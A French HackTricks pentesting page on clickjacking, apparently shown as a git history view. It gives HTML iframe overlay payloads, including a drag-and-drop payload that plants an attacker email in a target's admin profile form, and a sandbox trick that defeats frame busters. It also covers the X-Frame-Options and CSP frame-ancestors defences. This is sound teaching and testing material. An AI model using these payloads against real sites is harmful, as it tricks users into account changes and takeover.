hacktricks/pentesting-web/clickjacking.md

197 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
Accédez-y dès aujourd'hui :
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
## Qu'est-ce que le Clickjacking
Le Clickjacking est une attaque qui **trompe** un **utilisateur** pour qu'il **clique** sur un **élément** d'une page web qui est **invisible** ou déguisé en un autre élément. Cela peut amener les utilisateurs à télécharger malgré eux des logiciels malveillants, visiter des pages web malveillantes, fournir des identifiants ou des informations sensibles, transférer de l'argent ou acheter des produits en ligne. (Depuis [ici](https://www.imperva.com/learn/application-security/clickjacking/)).
### Astuce pour préremplir des formulaires
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking pour que l'utilisateur appuie sur le bouton Envoyer.
2020-10-13 11:29:54 +00:00
2023-06-03 13:10:46 +00:00
### Remplir un formulaire avec Drag\&Drop
2020-10-13 11:29:54 +00:00
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Drag\&Drop** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2023-06-03 13:10:46 +00:00
### Charge utile de base
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Charge utile en plusieurs étapes
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Payload de Drag\&Drop + Clic
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Si vous avez identifié une **attaque XSS qui nécessite un clic** de l'utilisateur sur un élément pour **déclencher** l'XSS et que la page est **vulnérable au clickjacking**, vous pourriez en abuser pour tromper l'utilisateur et le faire cliquer sur le bouton/lien.\
Exemple :\
_Vous avez trouvé un **self XSS** dans certains détails privés du compte (détails que **seul vous pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **Clickjacking** et vous pouvez **préremplir** le **formulaire** avec les paramètres GET._\
\_\_Un attaquant pourrait préparer une attaque de **Clickjacking** sur cette page en **préremplissant** le **formulaire** avec le **payload XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera l'XSS**.
## Comment éviter le Clickjacking
2023-06-03 13:10:46 +00:00
### Défenses côté client
Il est possible d'exécuter des scripts côté client qui effectuent certains ou tous les comportements suivants pour prévenir le Clickjacking :
* vérifier et s'assurer que la fenêtre de l'application actuelle est la fenêtre principale ou supérieure,
* rendre toutes les frames visibles,
* empêcher les clics sur des frames invisibles,
* intercepter et signaler les attaques de clickjacking potentielles sur un utilisateur.
2023-06-03 13:10:46 +00:00
#### Contournement
Comme les frame busters sont des scripts JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur pourrait ne pas supporter JavaScript. Une solution efficace pour un attaquant contre les frame busters est d'utiliser l'attribut `sandbox` de l'**iframe HTML5**. Lorsqu'il est défini avec les valeurs `allow-forms` ou `allow-scripts` et que la valeur `allow-top-navigation` est omise, le script de frame buster peut être neutralisé car l'iframe ne peut pas vérifier s'il est ou non la fenêtre supérieure :
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
```markdown
Les valeurs `allow-forms` et `allow-scripts` permettent les actions spécifiées dans l'iframe, mais la navigation de niveau supérieur est désactivée. Cela empêche les comportements de déjouement de cadre tout en autorisant les fonctionnalités au sein du site ciblé.
Selon le type d'attaque de Clickjacking effectuée, **vous pourriez également devoir autoriser** : `allow-same-origin` et `allow-modals` ou [encore plus](https://www.w3schools.com/tags/att_iframe_sandbox.asp). Lors de la préparation de l'attaque, vérifiez simplement la console du navigateur, elle peut vous indiquer quels autres comportements vous devez autoriser.
2022-06-06 22:28:05 +00:00
### X-Frame-Options
L'**en-tête de réponse HTTP `X-Frame-Options`** peut être utilisé pour indiquer si un navigateur doit être **autorisé** à rendre une page dans un `<frame>` ou `<iframe>`. Les sites peuvent utiliser cela pour éviter les attaques de Clickjacking, en s'assurant que **leur contenu n'est pas intégré dans d'autres sites**. Définissez l'en-tête **`X-Frame-Options`** pour toutes les réponses contenant du contenu HTML. Les valeurs possibles sont :
* `X-Frame-Options: deny` qui **empêche tout domaine d'encadrer le contenu** _(Valeur recommandée)_
* `X-Frame-Options: sameorigin` qui **autorise uniquement le site actuel** à encadrer le contenu.
* `X-Frame-Options: allow-from https://trusted.com` qui **autorise l'uri spécifié** à encadrer cette page.
* Vérifiez les limitations ci-dessous car **cela échouera si le navigateur ne le prend pas en charge**.
* D'autres navigateurs prennent en charge la nouvelle directive **CSP frame-ancestors à la place**. Quelques-uns prennent en charge les deux.
2023-06-03 13:10:46 +00:00
### Directive frame-ancestors de la politique de sécurité du contenu (CSP)
La **protection recommandée contre le clickjacking** consiste à intégrer la directive **`frame-ancestors`** dans la politique de sécurité du contenu de l'application.\
La directive **`frame-ancestors 'none'`** est similaire dans son comportement à la directive **X-Frame-Options `deny`** (_Personne ne peut encadrer la page_).\
2023-06-03 13:10:46 +00:00
La directive **`frame-ancestors 'self'`** est largement équivalente à la directive **X-Frame-Options `sameorigin`** (_seul le site actuel peut l'encadrer_).\
La directive **`frame-ancestors trusted.com`** est largement équivalente à la directive **X-Frame-Options** `allow-from` (_seul le site de confiance peut l'encadrer_).
La CSP suivante autorise les cadres uniquement pour le même domaine :
`Content-Security-Policy: frame-ancestors 'self';`
2023-06-03 13:10:46 +00:00
Consultez la documentation suivante pour plus de détails et des exemples plus complexes :
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
2022-06-06 22:28:05 +00:00
### Limitations <a href="#limitations" id="limitations"></a>
* **Prise en charge par le navigateur :** Les frame-ancestors CSP ne sont pas encore pris en charge par tous les principaux navigateurs.
* **X-Frame-Options a la priorité :** [La section "Relation to X-Frame-Options" de la spécification CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) dit : "_Si une ressource est livrée avec une politique qui comprend une directive nommée frame-ancestors et dont la disposition est "enforce", alors l'en-tête X-Frame-Options DOIT être ignoré_", mais Chrome 40 & Firefox 35 ignorent la directive frame-ancestors et suivent l'en-tête X-Frame-Options à la place.
2023-06-03 13:10:46 +00:00
## Références
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires **les plus avancés**.\
Obtenez l'accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
```